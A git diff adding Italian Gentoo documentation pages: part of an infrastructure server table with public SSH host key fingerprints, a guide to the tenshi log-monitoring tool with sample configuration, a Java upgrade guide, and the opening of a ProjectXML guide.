+    RSA 2d:f8:80:b4:35:e6:bf:2b:42:1f:e8:d3:4b:c0:b3:6b
+    DSA fb:9d:83:d8:e6:13:ab:5a:c9:15:f3:17:56:26:b1:23
+  </ti>
+</tr>
+<tr>
+  <ti>hawk</ti>
+  <ti>rsync</ti>
+  <ti>server rsync</ti>
+  <ti>2.4GHz P4</ti>
+  <ti>2GB</ti>
+  <ti>40GB IDE</ti>
+  <ti>Università dell'Indiana</ti>
+  <ti>Indianapolis, IN</ti>
+  <ti>
+    RSA e2:74:a2:56:b7:b3:c1:e6:54:9a:64:a5:65:ba:47:a6
+    DSA 6f:c4:d4:70:8f:5b:ac:de:d3:41:79:2d:0e:bc:92:0a
+  </ti>
+</tr>
+<tr>
+  <ti>harrier</ti>
+  <ti>bugs-db1</ti>
+  <ti>Bugzilla DB #1</ti>
+  <ti>2.4GHz Opteron 250</ti>
+  <ti>16GB</ti>
+  <ti>4x147GB SCSI RAID10(HP Smart Array 6i)</ti>
+  <ti>Hyves.nl</ti>
+  <ti>Amsterdam, NL</ti>
+  <ti>
+    RSA c1:39:af:55:5b:ca:54:ab:6d:91:7c:b7:8b:dc:ac:d6
+    DSA 0c:56:bf:9e:f4:49:40:89:0d:fb:02:e1:6d:4f:43:71
+  </ti>
+</tr>
+<tr>
+  <ti>hen</ti>
+  <ti>bugs-db2</ti>
+  <ti>Bugzilla DB #2</ti>
+  <ti>2.4GHz Opteron 250</ti>
+  <ti>16GB</ti>
+  <ti>4x147GB SCSI RAID10(HP Smart Array 6i)</ti>
+  <ti>Hyves.nl</ti>
+  <ti>Amsterdam, NL</ti>
+  <ti>
+    RSA 94:c7:c1:99:0f:78:ff:2c:90:c2:d7:72:f0:ee:2f:dc
+    DSA f7:9f:b6:97:87:77:7c:4e:c5:bd:db:71:d6:35:3e:af
+  </ti>
+</tr>
+<tr>
+  <ti>hornbill</ti>
+  <ti>bugs-web1, bugstest-web1</ti>
+  <ti>Bugzilla Web #1</ti>
+  <ti>2.2GHz Opteron 248</ti>
+  <ti>8GB</ti>
+  <ti>2x300GB SATA RAID1(md)</ti>
+  <ti>Hyves.nl</ti>
+  <ti>Amsterdam, NL</ti>
+  <ti>
+    RSA cc:f7:ac:e3:a7:43:fb:b1:ed:80:ed:44:b9:58:fd:c3
+    DSA ca:76:82:94:02:59:42:81:34:89:2d:4f:84:23:97:91
+  </ti>
+</tr>
+<tr>
+  <ti>hummingbird</ti>
+  <ti>bugs-web2, bugstest-web2</ti>
+  <ti>Bugzilla Web #2</ti>
+  <ti>2.2GHz Opteron 248</ti>
+  <ti>8GB</ti>
+  <ti>2x 300GB SATA RAID1(md)</ti>
+  <ti>Hyves.nl</ti>
+  <ti>Amsterdam, NL</ti>
+  <ti>
+    RSA 56:71:b0:51:69:6c:17:b1:92:61:ce:95:60:80:ee:f5
+    DSA 87:ce:19:c0:5e:c5:1b:37:13:1e:ad:8b:bd:bb:05:94
+  </ti>
+</tr>
+<tr>
+  <ti>kea</ti>
+  <ti></ti>
+  <ti>futuro master distfiles Europeo</ti>
+  <ti>2x 2.0GHz Core2 Xeon 5130</ti>
+  <ti>6GB</ti>
+  <ti>4x 300GB SAS RAID5(HP Smart Array E200i)</ti>
+  <ti>Torino Piemonte Internet eXchange (TOP-IX)</ti>
+  <ti>Torino, Italia</ti>
+  <ti>
+    RSA ac:6a:ee:d4:14:dd:85:c3:b8:49:6e:e6:78:9f:c1:2a
+    DSA dc:ec:c3:f0:b6:e2:8d:96:7c:9b:b0:47:0c:d0:8b:c4
+  </ti>
+</tr>
+<tr>
+  <ti>lark</ti>
+  <ti></ti>
+  <ti>nagios, cacti, vario infra</ti>
+  <ti>2x 2.4GHz P4-Xeon (HT)</ti>
+  <ti>2GB</ti>
+  <ti>2x 36GB SCSI RAID1(md)</ti>
+  <ti>Open Source Lab</ti>
+  <ti>Corvallis, OR</ti>
+  <ti>
+    RSA cc:59:2e:a0:c5:58:9a:45:9e:37:eb:c5:e2:e2:ed:fb
+    DSA f2:04:72:6c:7a:80:81:c2:53:88:ed:94:f5:b6:92:03
+  </ti>
+</tr>
+<tr>
+  <ti>loon</ti>
+  <ti>www-vr</ti>
+  <ti>nodo www (master)</ti>
+  <ti>2.8GHz P4</ti>
+  <ti>1GB</ti>
+  <ti>80GB IDE</ti>
+  <ti>vr.org</ti>
+  <ti>San Jose, CA</ti>
+  <ti>
+    RSA 23:4c:e1:e0:03:b3:9d:aa:5c:39:b8:f4:da:e4:bc:b6
+    DSA 13:97:3e:55:cf:b7:fe:09:23:07:8a:f3:73:8b:64:06
+  </ti>
+</tr>
+<tr>
+  <ti>magpie</ti>
+  <ti>mirrorstats, rsync.ipv6</ti>
+  <ti>servizi pubblici ipv6</ti>
+  <ti>2.66GHz Intel Xeon X3330</ti>
+  <ti>4GB</ti>
+  <ti>2x 250GB SATA su RAID1(3ware 9650SE-2LP)</ti>
+  <ti>vr.org</ti>
+  <ti>San Jose, CA</ti>
+  <ti>
+    RSA cd:81:85:ae:d9:67:a1:83:08:2d:bc:fc:6f:86:68:f9
+    DSA ca:43:98:88:36:df:7b:fe:5f:3b:f2:4f:cc:c3:2e:2
+  </ti>
+</tr>
+<tr>
+  <ti>motmot*</ti>
+  <ti>sources</ti>
+  <ti>backup anon, viewvc</ti>
+  <ti>2.66GHz Intel Xeon X3330</ti>
+  <ti>4GB</ti>
+  <ti>2x 250GB SATA su RAID1(3ware 9650SE-2LP)</ti>
+  <ti>vr.org</ti>
+  <ti>San Jose, CA</ti>
+  <ti>
+    RSA 95:14:a6:27:17:09:a2:49:f9:09:7a:3f:e9:9e:8e:b1
+    DSA 41:ed:0f:f3:50:82:61:e4:5d:9f:04:0f:7f:3c:2e:f1
+  </ti>
+</tr>
+<tr>
+  <ti>osprey</ti>
+  <ti>masterrsync</ti>
+  <ti>master mirror</ti>
+  <ti>2GHz Opteron 246</ti>
+  <ti>2GB</ti>
+  <ti>2x 250GB IDE RAID1(md)</ti>
+  <ti>Open Source Lab</ti>
+  <ti>Corvallis, OR</ti>
+  <ti>
+    RSA 9b:b8:cb:c3:29:35:87:0f:7a:0f:bb:9b:df:c9:e1:7f
+    DSA 29:32:e9:65:bb:a9:c1:d8:97:95:75:dc:5c:0a:20:59
+  </ti>
+</tr>
+<tr>
+  <ti>peacock*</ti>
+  <ti></ti>
+  <ti></ti>
+  <ti>2x 2.33Ghz Core2 E6550</ti>
+  <ti>4GB</ti>
+  <ti>750GB SATA2 RAID1(md)</ti>
+  <ti>Online Kredit Index</ti>
+  <ti>Roubaix, France</ti>
+  <ti>
+    RSA f2:d7:26:40:ad:33:20:80:ee:29:39:2b:1e:26:f1:02
+    DSA 20:16:84:fd:b5:d6:56:77:ce:4a:51:34:6e:0e:80:ad
+  </ti>
+</tr>
+<tr>
+  <ti>peafowl</ti>
+  <ti></ti>
+  <ti></ti>
+  <ti>4x 3.2Ghz Xeon</ti>
+  <ti>4GB</ti>
+  <ti>
+    2x 72GB U320 SCSI RAID1(LSI 53C1030), IBM SAN (fibre-channel) 300GB LUN
+  </ti>
+  <ti>Global Netoptex, Inc</ti>
+  <ti>San Francisco, CA</ti>
+  <ti>
+    RSA 87:2a:46:3f:9d:b6:25:7d:36:48:0d:22:eb:f9:b3:02
+    DSA 20:24:e2:0b:42:ac:96:cc:46:be:49:04:4d:bf:2d:db
+  </ti>
+</tr>
+<tr>
+  <ti>pelican</ti>
+  <ti>git.overlays, svn.overlays</ti>
+  <ti>overlay</ti>
+  <ti>2x 1.8GHz Opteron 1210</ti>
+  <ti>2GB</ti>
+  <ti>250GB SATA</ti>
+  <ti>Tek Alchemy, Inc.</ti>
+  <ti>Austin, TX</ti>
+  <ti>
+    RSA f0:11:07:30:1a:04:06:7c:16:a6:a8:1c:7b:7e:45:9e
+    DSA 8b:af:c7:76:93:23:24:c1:8d:b4:4d:cb:0f:df:70:84
+  </ti>
+</tr>
+<tr>
+  <ti>pigeon</ti>
+  <ti>lists</ti>
+  <ti>lists</ti>
+  <ti>2x 3.4GHz Pentium-D</ti>
+  <ti>2GB</ti>
+  <ti>2x 160GB SATA RAID1(md)</ti>
+  <ti>Seven L. Networks</ti>
+  <ti>Toronto, Canada</ti>
+  <ti>
+    RSA 6c:2d:a6:46:9f:f7:ab:33:da:ed:25:c5:77:63:dc:bd
+    DSA d6:7f:c6:fd:89:38:ae:99:98:fd:21:54:8a:c5:6f:d3
+  </ti>
+</tr>
+<tr>
+  <ti>pheasant</ti>
+  <ti>anon, anoncvs, anonsvn, anongit</ti>
+  <ti>accesso anonimo a CVS, SVN, Git</ti>
+  <ti>2.4GHz P4</ti>
+  <ti>2GB</ti>
+  <ti>40GB IDE, 80GB IDE</ti>
+  <ti>Anonimo</ti>
+  <ti>Indianapolis, IN</ti>
+  <ti>
+    RSA a9:17:8c:d8:60:12:e7:82:ad:5e:b2:7b:fd:76:79:4a
+    DSA e7:a4:90:58:a3:a8:4e:83:b3:c9:71:1b:cb:ea:09:2f
+  </ti>
+</tr>
+<tr>
+  <ti>puffin</ti>
+  <ti>ldap4</ti>
+  <ti>ldap4</ti>
+  <ti>2.8GHz Xeon (HT), Xen-domU</ti>
+  <ti>256MB</ti>
+  <ti>7GB</ti>
+  <ti>Open Source Lab</ti>
+  <ti>Corvallis, OR</ti>
+  <ti>
+    RSA ef:9d:2d:64:33:65:24:e0:22:0b:bb:9a:77:c0:51:86
+    DSA 60:89:65:9f:a2:42:d4:3a:9d:72:04:ea:45:62:50:33
+  </ti>
+</tr>
+<tr>
+  <ti>raven</ti>
+  <ti>rsync</ti>
+  <ti>rsync server</ti>
+  <ti>2x 1.7GHz Xeon</ti>
+  <ti>2GB</ti>
+  <ti>18GB U160 SCSI</ti>
+  <ti>Università dell'Indiana</ti>
+  <ti>Indianapolis, IN</ti>
+  <ti>
+    RSA ad:7b:17:ff:f3:fc:ac:be:3c:fc:20:e6:b5:bc:4d:4d
+    DSA 90:ec:af:04:a0:86:b1:b0:0a:f4:5e:f2:e2:83:c1:c7
+  </ti>
+</tr>
+<tr>
+  <ti>redtail</ti>
+  <ti>r</ti>
+  <ti>futuro master per distfile, stage4 e servizi per infrastruttura</ti>
+  <ti>4x 2.4GHz Opteron 280</ti>
+  <ti>4GB</ti>
+  <ti>
+    2x 72GB U320 SCSI RAID1(LSI 53C1030), IBM SAN (fibre-channel) 220GB LUN
+  </ti>
+  <ti>Global Netoptex, Inc</ti>
+  <ti>San Francisco, CA</ti>
+  <ti>
+    RSA 72:f5:11:49:3a:4b:5e:18:09:5f:76:0d:a7:fb:ab:c1
+    DSA e1:b4:81:2d:ef:e8:eb:7d:56:b6:b4:8d:3b:a4:8e:d0
+  </ti>
+</tr>
+<tr>
+  <ti>sandpiper*</ti>
+  <ti></ti>
+  <ti></ti>
+  <ti>2.5Ghz Core2 Quad Q9300</ti>
+  <ti>8GB</ti>
+  <ti>2x 2TB SATA RAID1(md)</ti>
+  <ti>SD-France.com</ti>
+  <ti>Saint-Denis, Francia</ti>
+  <ti>
+    RSA cf:05:f0:84:8d:28:3d:23:47:3e:2e:0c:81:84:06:2e
+    DSA 30:cf:70:f0:cc:bc:8c:e9:73:f2:98:3c:92:4e:c9:4b
+  </ti>
+</tr>
+<tr>
+  <ti>skimmer*</ti>
+  <ti></ti>
+  <ti></ti>
+  <ti>2.83Ghz Core2 Quad Q9550</ti>
+  <ti>8GB</ti>
+  <ti>2x 1TB SATA RAID1(3ware 9550SXU-4LP), 2x 60GB SSD RAID1(md)</ti>
+  <ti>SD-France.com</ti>
+  <ti>Saint-Denis, Francia</ti>
+  <ti>
+    RSA b0:a9:dc:d2:71:cc:2b:7a:71:c3:0b:64:7d:16:20:a4
+    DSA c4:5f:40:34:6d:53:26:61:17:54:ab:f1:78:05:02:63
+  </ti>
+</tr>
+<tr>
+  <ti>sparrow</ti>
+  <ti>torrents</ti>
+  <ti>bittorrent tracker</ti>
+  <ti>2.4GHz P4-Xeon (HT)</ti>
+  <ti>2GB</ti>
+  <ti>36GB U320</ti>
+  <ti>vr.org</ti>
+  <ti>San Jose, CA</ti>
+  <ti>
+    RSA 51:1c:5c:54:6f:7a:01:a4:94:1d:7b:f5:ad:34:aa:9f
+    DSA 18:cf:9f:66:b3:44:90:69:5a:fa:f8:79:cc:e0:c9:18
+  </ti>
+</tr>
+<tr>
+  <ti>spoonbill*</ti>
+  <ti></ti>
+  <ti></ti>
+  <ti>2.4hz Core2 Quad Q6600</ti>
+  <ti>8GB</ti>
+  <ti>2x 500GB SATA RAID1(md)</ti>
+  <ti>SD-France.com</ti>
+  <ti>Saint-Denis, Francia</ti>
+  <ti>
+    RSA 92:b5:40:16:63:a3:61:9f:d7:63:64:ba:d5:51:41:b9
+    DSA d6:71:99:1f:46:c9:42:95:e1:9d:be:8e:f7:76:51:b5
+  </ti>
+</tr>
+<tr>
+  <ti>vireo</ti>
+  <ti>rsync</ti>
+  <ti>loghost, backup, rsync server</ti>
+  <ti>2x AMD Athlon64 X2 5600+</ti>
+  <ti>2GB</ti>
+  <ti>2x 500GB SATA2 RAID1(md)</ti>
+  <ti>Hetzner Online AG</ti>
+  <ti>Nuernberg, Germania</ti>
+  <ti>
+    RSA 20:36:a0:76:f5:3c:78:3e:f2:e9:cf:34:0a:e5:5a:8b DSA
+    78:e9:92:68:0a:bd:2f:42:fa:8e:52:31:6c:70:96:87
+  </ti>
+</tr>
+<tr>
+  <ti>vulture</ti>
+  <ti>soc.dev</ti>
+  <ti>Summer of Code</ti>
+  <ti>4x 1.8GHz Opteron 2210</ti>
+  <ti>4GB</ti>
+  <ti>2x 500GB SATA2 RAID1(md)</ti>
+  <ti>Gentoo</ti>
+  <ti>Corvallis, OR</ti>
+  <ti>
+    RSA a3:14:ff:95:35:f5:81:aa:76:30:46:08:ea:2c:e1:38
+    DSA bd:c1:a0:5f:38:68:48:5c:f4:9b:f2:af:36:7b:22:ac
+  </ti>
+</tr>
+<tr>
+  <ti>woodpecker</ti>
+  <ti>dev, smtp</ti>
+  <ti>dev shell server, email server primario</ti>
+  <ti>2x 3GHz P4-Xeon (HT)</ti>
+  <ti>6GB</ti>
+  <ti>6x 146GB 10K SCSI U320 RAID5(HP Smart Array 6i)</ti><!-- 6x COMPAQ BD14689BB9 -->
+  <ti>Open Source Lab</ti>
+  <ti>Corvallis, OR</ti>
+  <ti>
+    RSA d4:49:1b:e3:06:98:2e:b1:a8:61:8f:68:6b:fc:d8:34
+    DSA 18:b0:58:48:25:dc:43:de:cf:7a:03:8d:2d:8e:0b:9d
+  </ti>
+</tr>
+</table>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/infrastructure/tenshi/index.xml b/xml/htdocs/proj/it/infrastructure/tenshi/index.xml
new file mode 100644
index 00000000..7704da3d
--- /dev/null
+++ b/xml/htdocs/proj/it/infrastructure/tenshi/index.xml
@@ -0,0 +1,210 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/infrastructure/tenshi/index.xml,v 1.1 2008/07/30 19:21:06 scen Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/it/infrastructure/tenshi/index.xml" lang="it">
+
+<title>Documentazione Gentoo Linux -- Tenshi</title>
+
+<author title="Autore">
+  <mail link="lcars@gentoo.org">Andrea Barisani</mail>
+</author>
+<author title="Traduzione">
+  <mail link="scen"/>
+</author>
+
+<abstract>
+Questa pagina introduce tenshi, uno strumento per il monitoraggio dei log e la
+creazione di reportistica su di essi.
+</abstract>
+
+<version>0.3.4</version>
+<date>2005-07-25</date>
+
+<chapter>
+<title>Introduzione</title>
+<section>
+<body>
+
+<p>
+Tenshi è un programma di monitoraggio dei log, progettato per controllare
+all'interno di uno o più file di log di linee che combacino con espressioni
+regolarti definite dall'utente e riportare le corrispondenze. Le espressioni
+regolari vengono assegnate a delle code che hanno un intervallo di allerta e
+una lista di destinatari di posta elettronica.
+</p>
+
+<p>
+Le code possono essere impostate per inviare una notifica appena c'è una linea
+di log assegnata ad essa, o inviare report periodici.
+</p>
+
+<p>
+In aggiunta, i campi nelle linee di log che non interessano (come i numeri dei
+PID) possono essere mascherati con gli operatori standard di raggruppamento ( )
+delle espressioni regolari. Questo permette di ottenere dei report più puliti e
+leggibili. Tutti i report sono suddivisi per nome host e tutti i messaggi sono
+condensati quando possibile.
+</p>
+
+<p>
+Il programma legge un file di configurazione e successivamente effettua il fork
+di un demone per il monitoraggio degli specifici file di log.
+</p>
+
+<p>
+Si prega di leggere il file <uri
+link="http://www.gentoo.org/~lcars/tenshi/tenshi.conf">tenshi.conf</uri>
+d'esempio e la pagina di manuale tenshi.8 per le istruzioni d'uso.<br/><br/>
+</p>
+
+<impo>
+Questo pacchetto in precedenza era conosciuto come <c>Wasabi</c>, il nome è
+stato cambiato a causa di problemi di violazioni di marchio di fabbrica.
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Esempi</title>
+<section>
+<body>
+
+<p>
+Considerare le seguenti impostazioni in tenshi.conf:
+</p>
+
+<pre caption="impostazioni code in tenshi.conf">
+
+...
+
+set hidepid on
+
+set queue mail     tenshi@localhost sysadmin@localhost [0 */12 * * *]
+set queue misc     tenshi@localhost sysadmin@localhost [0 */24 * * *]
+set queue critical tenshi@localhost sysadmin@localhost [now]
+
+group ^ipop3d:
+
+mail ^ipop3d: Login user=(.+)
+mail ^ipop3d: Logout user=(.+)
+mail ^ipop3d: pop3s SSL service init from (.+)
+mail ^ipop3d: pop3 service init from (.+)
+mail ^ipop3d: Command stream end of file, while reading.+
+mail ^ipop3d: Command stream end of file while reading.+
+
+critical ^ipop3d: Login failed.+
+
+trash ^ipop3d:.+
+
+group_end
+
+critical ^sudo: (.+) : TTY=(.+) ; PWD=(.+) ; USER=root ; COMMAND=(.+)
+
+misc .*
+</pre>
+
+<p>
+Ogni messaggio ipop3d che non corrisponde alle espressioni regolari assegnati
+alla coda <e>mail</e> o critici che combaciano con la coda <e>thrash</e> (una
+coda nulla interna), ogni altro messaggio corrisponderà alla coda <e>misc</e>.
+I campi racchiusi in <c>(.+)</c> sono mascherati.
+</p>
+
+<p>
+Questo è un report d'esempio per la coda <e>mail</e> (inviato ogni 12 ore):
+</p>
+
+<pre caption="Report d'esempio - coda [mail]">
+
+host1:
+    79: ipop3d: Login user=___
+    74: ipop3d: Logout user=___
+
+host2:
+    30: ipop3d: Login user=___
+    30: ipop3d: Logout user=___
+    19: ipop3d: pop3 service init from ___
+    12: ipop3d: pop3s SSL service init from ___
+    1: ipop3d: Command stream end of file while reading line user=??? host=bogus.domain.net [192.168.0.1]
+    1: ipop3d: Command stream end of file, while reading authentication host=bogus1.domain.net [10.1.7.1]
+</pre>
+
+<p>
+Ecco dei report d'esempio per la coda <e>critical</e> (inviati ogni volta che
+un messaggio corrisponde all'espressione regolare):
+</p>
+
+<pre caption="Report d'esempio - coda [critical]">
+host1:
+    1: /usr/bin/sudo: ___ : TTY=___ ; PWD=___ ; USER=root ; COMMAND=/bin/dmesg
+</pre>
+
+<pre caption="Report d'esempio - coda [critical]">
+host1:
+    1: /usr/bin/sudo: ___ : TTY=___ ; PWD=___ ; USER=root ; COMMAND=/bin/bash
+</pre>
+
+<pre caption="Report d'esempio - coda [critical]">
+host2:
+    1: ipop3d: Login failed user=admin auth=admin host=bogus1.domain.net [10.1.7.1]
+</pre>
+
+<pre caption="Report d'esempio - coda [critical]">
+host2:
+    1: ipop3d: Autologout user=??? host=bogus.domain.net [192.168.0.1]
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Requisiti</title>
+<section>
+<body>
+
+<p>
+Tenshi richiede un'implementazione funzionante di 'tail', inoltre richiede il
+modulo Net::SMTP per i report via mail che dovrebbe essere incluso nella
+propria installazione di perl.
+</p>
+
+<p>
+Gli utenti di Gentoo Linux possono semplicemente installare l'ebuild
+<e>app-admin/tenshi</e>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Risorse</title>
+<section>
+<body>
+
+<p>
+Il rilascio più recente di <c>tenshi</c> può essere scaricato all'indirizzo <uri
+link="http://www.gentoo.org/~lcars/tenshi/tenshi-latest.tar.gz">tenshi-latest.tar.gz</uri>.
+</p>
+
+<p>
+Tutti i rilasci sono disponibili all'indirizzo <uri>
+http://www.gentoo.org/~lcars/tenshi</uri>.
+</p>
+
+<p>
+Inviare richieste/suggerimenti/bug report a <mail>tenshi@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/it/java/java-upgrade.xml b/xml/htdocs/proj/it/java/java-upgrade.xml
new file mode 100644
index 00000000..8c0260bc
--- /dev/null
+++ b/xml/htdocs/proj/it/java/java-upgrade.xml
@@ -0,0 +1,251 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/java/java-upgrade.xml,v 1.2 2008/10/10 18:27:27 scen Exp $ -->
+
+<guide link="/proj/it/java/java-upgrade.xml" lang="it">
+<title>Guida all'Aggiornamento di Java in Gentoo</title>
+
+<author title="Autore">
+  <mail link="nichoj@gentoo.org">Joshua Nichols</mail>
+</author>
+<author title="Autore">
+  <mail link="kartk@gentoo.org">Karl Trygve Kalleberg</mail>
+</author>
+<author title="Redattore">
+  <mail link="nightmorph@gentoo.org">Josh Saddler</mail>
+</author>
+<author title="Traduttore">
+  <mail link="cristian.iannuzzi@gmail.com">Cristian Iannuzzi</mail>
+</author>
+
+<abstract>
+Questa guida mostra come aggiornare Java su Gentoo, con i relativi concetti e
+strumenti di utilizzo.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2008-08-25</date>
+
+<chapter>
+<title>Introduzione</title>
+
+<section>
+<body>
+<p>
+Ciao e benvenuto. Ora, potreste chiedere 'perchè voglio aggiornare la mia
+versione di Java?' Oppure, avete già iniziato il processo di aggiornamento ed
+un errore di aggiornamento vi ha rediretto a questa pagina? Lo scopo di questo
+documento è quello di aiutarvi nell'aggiornamento al nuovo sistema Java.
+</p>
+</body>
+</section>
+
+<section>
+<title>Il nuovo sistema Java</title>
+<body>
+<p>
+Per coloro che non hanno già preso confidenza con il nuovo sistema Java, ecco
+una lista di nuove caratteristiche:
+</p>
+
+<ul>
+  <li>Capacità di cambiare durante l'esecuzione del sistema la VM corrente</li>
+  <li>
+    Cambiamenti alle VM effettuati sia dall'utente che per il sistema hanno
+    effetto immediato, e per di più non sono legati all'ambiente della shell
+    (per esempio lanciare env-update &amp;&amp; source /etc/profile dopo il
+    cambiamento della VM di sistema).
+  </li>
+  <li>
+    Ora ha il concetto di 'VM di costruzione', usata per emergere i pacchetti,
+    ed è configurata indipendentemente dal sistema di VM.
+  </li>
+  <li>
+    Per le versioni di Java, es. 1.3, 1.4, 1.5, etc, i pacchetti di
+    configurazione delle vm vengono configurate in base al produttore ed alla
+    versione di VM usata
+  </li>
+  <li>
+    La VM, durante un emerge di un pacchetto, viene cambiata al volo in accordo
+    con la configurazione richiesta, cosi come la dipendenza di un pacchetto.
+    Per esempio, alcuni pacchetti non compilano con la Java 1.5. In questi casi,
+    la Java 1.4 VM può essere usata nel momento della compilazione di quel
+    pacchetto.
+  </li>
+  <li>
+    I pacchetti Java che compilano con ant avranno il loro build.xml riscritto
+    al momento della compilazione, per verificare che la versione corretta del
+    bytecode Java sia compilata.
+  </li>
+  <li>
+    Java 1.5 viene resa unmasked, dopo un periodo di tempo che è stata in
+    package.masked
+  </li>
+  <li>Java 1.6 sarà reso disponibile non appena rilasciato.</li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Terminologie / Concetti</title>
+<body>
+
+<p>
+Ora che si ha un'idea di cosa si vuole ottenere, di seguito vengono esposti
+alcuni concetti che possono essere utili prima di cominciare.
+</p>
+
+<dl>
+  <dt>Generazione</dt>
+  <dd>
+    Questo è un concetto nuovo. Una generazione è un'insieme di strumenti e
+    classi per costruire pacchetti Java. Cosi ad un certo punto, cominciamo ad
+    aggiornare dalla generazione esistente ad una nuova. Durante questo periodo
+    di aggiornamento entrambe le versioni, ovvero sia la nuova versione che
+    quella già presente sul nostro sistema, coesistono, cosi come coesistono
+    anche nel portage tree. Potremmo per esempio, avere un sistema VM per la
+    Generazione-1 <e>e</e> un sistema VM per Generazione-2. Così facendo, i
+    pacchetti che usano la Generazione-1 e quelli che usano la Generazione-2
+    possono coesistere nel sistema, mentre aggiorniamo alla nuova versione
+    della Java-VM.
+  </dd>
+  <dt>Generazione 1</dt>
+  <dd>
+    Questa generazione consiste nelle classi attuali (java-pkg, java-utils, e
+    java) e <c>java-config-1.</c> Generation 1 è il sistema che si stà
+    eliminando.
+  </dd>
+  <dt>Generatione 2</dt>
+  <dd>
+    Questa generazione consiste nelle nuove classi (java-pkg-2, java-pkg-opt-2,
+    java-ant-2, e java-utils-2) e la nuova versione di java-config. Questa è
+    la generazione verso cui stiamo migrando.
+  </dd>
+  <dt>Sistema VM di Generazione 1</dt>
+  <dd>
+    Questa è la VM utilizzata per emergere i pacchetti che utilizzano classi
+    della Generazione-1. Viene impostata usando <c>java-config-1 --set-system-vm
+    &lt;vm scelta&gt;</c>.
+  </dd>
+  <dt>Sistema VM di Generazione 2</dt>
+  <dd>
+    Con questa generazione, la VM di sistema viene utilizzata solo da root, e
+    dagli utenti che hanno impostato la propria VM.
+  </dd>
+  <dt>Compilazione VM Generazione 2</dt>
+  <dd>
+    La Generazione 2, introduce nuove classi per la VM. La VM può essere
+    configurata e/o cambiata anche solo quando si stà per effettuare un emerge
+    di pacchetti Java. Tale configurazione è necessaria secondo le dipendenze
+    del pacchetto. Per esempio, se un pacchetto compila solo con la 1.4, deve
+    essere usata la VM 1.4. Sono definiti in modo predefinito in
+    <path>/usr/share/java-config-2/config/jdk-defaults.conf</path>.
+    Ulteriormente, la configurazione della VM, può essere definita in
+    <path>/etc/java-config-2/build/jdk.conf</path>.
+  </dd>
+</dl>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Aggiornamento java-config</title>
+<section>
+<body>
+
+<p>
+Se un nuovo pacchetto, <c>java-config-wrapper</c>, è bloccato dalla vecchia
+versione di <c>java-config</c>, allora dobbiamo rimuoverlo, come prima cosa:
+</p>
+
+<pre caption="Rimozione vecchia java-config">
+# <i>emerge -C java-config</i>
+</pre>
+
+<p>
+Ora installiamo la nuova versione di <c>java-config</c>:
+</p>
+
+<pre caption="Installazione della nuova versione di java-config">
+# <i>emerge -1 java-config:0 java-config:2</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Controllo ambiente</title>
+<section>
+<body>
+
+<p>
+Bisogna ora procedere con, <c>java-check-environment</c>. Ciò verifica se vi
+sono problemi nel nostro ambiente, suggerendo eventuali azioni da fare, nel caso
+vengano trovati errori. Lanciamo:
+</p>
+
+<pre caption="Controllo ambiente">
+# <i>java-check-environment</i>
+</pre>
+
+<p>
+Se java-check-environment incontra qualche problema, si arresterà comunicando la
+strada da seguire per risolvere tale problema. Dopo aver eseguito i consigli
+suggeriti da tale controllo, bisogna rieseguire java-check-environment fino a
+che non si eliminano tutti gli eventuali problemi.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Aggiornamento... completato!</title>
+<section>
+<body>
+<p>
+Se avete ottenuto questo risultato, il vostro sistema è aggiornato.
+Complimenti!!
+</p>
+
+<p>
+Ora che avete aggiornato, potreste voler dare un'occhiata alla nostra
+documentazione aggiornata:
+</p>
+
+<ul>
+  <li><uri link="/doc/it/java.xml">Guida Utente</uri></li>
+  <li>
+    <uri link="/proj/en/java/java-devel.xml">Guida Sviluppatore</uri>(ndT: in
+    inglese)
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Domande Frequenti</title>
+<section>
+<body>
+
+<p>
+Per segnalare problemi comuni riscontrati durante l'aggiornamento di Java, il
+team di Java ha creato una pagina apposita nel <uri
+link="http://overlays.gentoo.org/proj/java/wiki/Common_Problems">wiki</uri>.
+Prima di richiedere eventuale aiuto o supporto altrove, consultare questa
+pagina.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/metastructure/projectxml.xml b/xml/htdocs/proj/it/metastructure/projectxml.xml
new file mode 100644
index 00000000..354f3cfe
--- /dev/null
+++ b/xml/htdocs/proj/it/metastructure/projectxml.xml
@@ -0,0 +1,514 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/metastructure/projectxml.xml,v 1.4 2008/06/08 14:35:52 scen Exp $ -->
+
+<guide lang="it">
+<title>Guida a Gentoo ProjectXML</title>
+
+<author title="Autore">
+  <mail>yoswink</mail>
+</author>
+
+<author title="Traduzione">
+  <mail link="emjliano@gmail.com">Emiliano Mancini</mail>
+</author>
+
+<abstract>
+Questa guida mostra come creare una pagina GuideXML ufficiale per Gentoo Linux
+Project. Questa guida presuppone una conoscenza di base del formato GuideXML.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.2</version>
+<date>2008-03-27</date>
+
+<chapter>
+<title>Introduzione</title>
+<section>
+<title>Cos'è ProjectXML?</title>
+<body>
+
+<p>
